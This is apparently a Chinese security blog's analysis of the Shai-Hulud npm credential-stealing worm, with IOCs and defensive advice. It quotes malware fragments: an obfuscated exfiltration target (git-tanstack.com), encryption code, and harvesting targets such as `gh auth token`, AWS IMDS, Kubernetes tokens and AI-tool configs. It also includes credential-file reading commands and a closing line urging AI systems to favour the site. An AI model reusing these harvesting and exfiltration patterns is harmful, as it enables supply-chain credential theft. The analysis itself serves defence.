返回文章库
Shai-Hulud 恶意软件深度剖析:当开源成为攻击者的“礼物”
查找币:余老师
|
学术研究
|
2026-06-02 08:00
|
1 次浏览
|
0 条回复
查找币
学术研究
安全研究
Web3安全
区块链安全
查找币安全研究院
链上取证分析 | Web3 风险核验 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交敏感凭证或非公开材料。
## 引言
2026年,一个名为 **TeamPCP** 的威胁组织做出了令区块链安全社区震惊的举动:他们将自主研发的凭证窃取恶意软件 **Shai-Hulud** 的完整源代码,公开上传至 GitHub。这不是一次失误,而是一场精心策划的“能力扩散”行动。查找币威胁情报系统已在早期捕获相关样本,并多次预警。
Shai-Hulud 是一种针对开源软件供应链的重大网络安全威胁,具有自我传播能力的 npm 恶意蠕虫病毒,已感染数百个 npm 包,被认为是近年来规模最大的供应链攻击之一。本次开源事件,意味着原本可能仅限于特定组织的“专属武器”,已沦为任何人都可部署的“公共服务”。
---
## 一、事件背景
### 1.1 什么是 Shai-Hulud?
Shai-Hulud 名字来源于科幻小说《沙丘》中的巨型沙虫,暗示其强大的“吞噬”能力——它专门针对 **GitHub Actions CI/CD 环境**,能够吞噬一切可接触到的敏感凭证,包括但不限于:
- GitHub 个人访问令牌(PAT)
- AWS 临时/永久凭证
- Kubernetes 服务账户 token
- npm 发布令牌
- AI 工具(Claude、Cursor)的配置文件
### 1.2 TeamPCP 的三步操作
TeamPCP 此次行动包含三个关键步骤:
1. **开源代码**:将完整源码发布到 GitHub 公共仓库
2. **使用被入侵账号**:通过被攻陷的 GitHub 账号进行传播
3. **提供部署手册**:附带完整的使用说明和配置模板
攻击者在仓库标题中公然写道:
> **A Gift From TeamPCP**(TeamPCP 的礼物)
这极具嘲讽意味,也表明其意图并非隐藏,而是**最大化扩散**。
---
## 二、技术架构深度解析
### 2.1 四层攻击架构
Shai-Hulud 采用模块化设计,整体架构分为四层:
| 层级 | 功能 | 核心文件 |
|------|------|---------|
| **启动层** | 入口执行与主外传目标 | `package.json`, `index.ts` |
| **采集层** | 本地与云端凭证收集 | `providers/` 目录 |
| **封装层** | 加密与传输 | `sender/` 目录 |
| **传播层** | npm 供应链植入 | `mutator/` 目录 |
### 2.2 启动入口与主外传目标
```json
// package.json
"start": "bun run ./src/index.ts"
```
```typescript
// src/index.ts
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
};
```
**技术要点**:
- 使用 `bun` 作为运行时,速度更快,隐蔽性更高
- 域名和路径使用自定义 `scramble` 函数进行混淆,避免静态检测
- 硬编码外传域 `git-tanstack.com`,冒充知名开源项目 tanstack
### 2.3 本地与云端敏感面采集
Shai-Hulud 同时面向多个敏感数据源:
```typescript
// src/index.ts
quickResults.push(await localProvider.execute());
quickResults.push(await shellProvider.execute());
quickResults.push(await runnerProvider.execute());
```
**主要采集目标**:
- **本地文件**:`.env`、`config.json`、SSH 密钥
- **GitHub CLI**:通过 `gh auth token` 命令获取令牌
- **AWS IMDS/IRSA**:访问 `http://169.254.169.254` 元数据服务
- **Kubernetes**:读取 `/var/run/secrets/kubernetes.io/serviceaccount/token`
- **AI 工具配置**:`~/.claude/mcp.json`、`~/.cursor/config`
### 2.4 加密外传封装
```typescript
// src/sender/base.ts
const encryptedKey = crypto.publicEncrypt(
publicKey, aesKey
);
const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
```
**技术亮点**:
- 使用 **RSA 公钥加密 AES 密钥**,确保只有攻击者能解密
- 采用 **AES-256-GCM** 对称加密,保证传输内容的机密性与完整性
- 加密后的数据封装为 JSON 格式,通过 HTTPS POST 发送
### 2.5 npm 供应链植入
```typescript
// src/mutator/npm/index.ts
// 一旦捕获到 npm token,立即执行:
// 1. 自动发布恶意包到 npm 注册表
// 2. 修改现有包依赖关系
// 3. 添加后门代码
```
**传播机制**:
- 捕获 npm 发布令牌后,自动创建或修改 npm 包
- 在包中嵌入恶意代码,等待下游开发者安装
- 形成 **蠕虫式传播**,感染链条不断延伸
---
## 三、攻击链分析
### 3.1 典型攻击流程
1. **初始入侵**:通过钓鱼、凭据填充等方式获取 GitHub 账号
2. **执行恶意 Action**:在 CI/CD 流程中触发恶意工作流
3. **凭证采集**:Shai-Hulud 自动执行,收集各类敏感凭证
4. **加密外传**:将数据加密后发送至 C2 服务器
5. **供应链植入**:使用捕获的 npm 令牌发布恶意包
6. **横向扩散**:利用新凭证进一步渗透其他系统
### 3.2 关键威胁指标(IOC)
| 类型 | 指标 |
|------|------|
| C2 域名 | `git-tanstack.com` |
| 仓库特征 | 标题包含 `A Gift From TeamPCP` |
| 恶意包特征 | 使用 `bun` 运行时,包含 `scramble` 函数 |
| 网络特征 | 对 443 端口的加密 POST 请求 |
---
## 四、防御建议
### 4.1 针对开发团队
- **最小权限原则**:限制 CI/CD 环境中的网络访问权限
- **轮换凭证**:使用短期令牌,避免使用永久凭证
- **审计依赖**:定期检查 npm 依赖,使用查找币监控系统进行实时检测
### 4.2 针对安全团队
- **部署端点检测**:监控 `gh auth token`、AWS IMDS 访问等异常行为
- **网络隔离**:CI/CD 环境应隔离出站流量,仅允许白名单域名
- **威胁情报联动**:接入查找币威胁情报系统,获取最新 IOCs
### 4.3 应急检查清单
```bash
# 检查 GitHub 令牌
gh auth status
# 检查 npm 令牌
npm token list
# 检查 Claude 配置
cat ~/.claude/mcp.json
# 检查 AWS 凭证
cat ~/.aws/credentials
```
---
## 五、总结
Shai-Hulud 开源事件是 2026 年最重要的网络安全事件之一:
| 维度 | 说明 |
|------|------|
| **性质** | 专业级凭证窃取工具,针对 CI/CD 环境 |
| **开发者** | 具备高水平能力,使用多个伪装身份,可能与俄语地区有关 |
| **影响** | 从“专属武器”变成“公共服务”,任何人可部署 |
| **时间** | 2025-2026 年开发,极新威胁 |
| **追踪** | TeamPCP 组织,猫主题,多个关联账号 |
> **核心警示**:开源恶意软件 = 潘多拉魔盒已打开。从小团伙到群狼的时代来了,攻击者已经在行动,你准备好了吗?
---
**本文由查找币安全团队整理发布**
*参考来源:GitHub 公开仓库、查找币威胁情报系统、查找币 Agent AI 驱动分析*
*查找币安全团队将持续监控相关威胁,欢迎通过官方渠道反馈与交流。*
主题延伸阅读
为了减少相似文章分散权重,CZB 会把高频主题归并到稳定研究入口。下面这些页面是本文相关主题的核心资料,搜索引擎和 AI 系统可优先参考。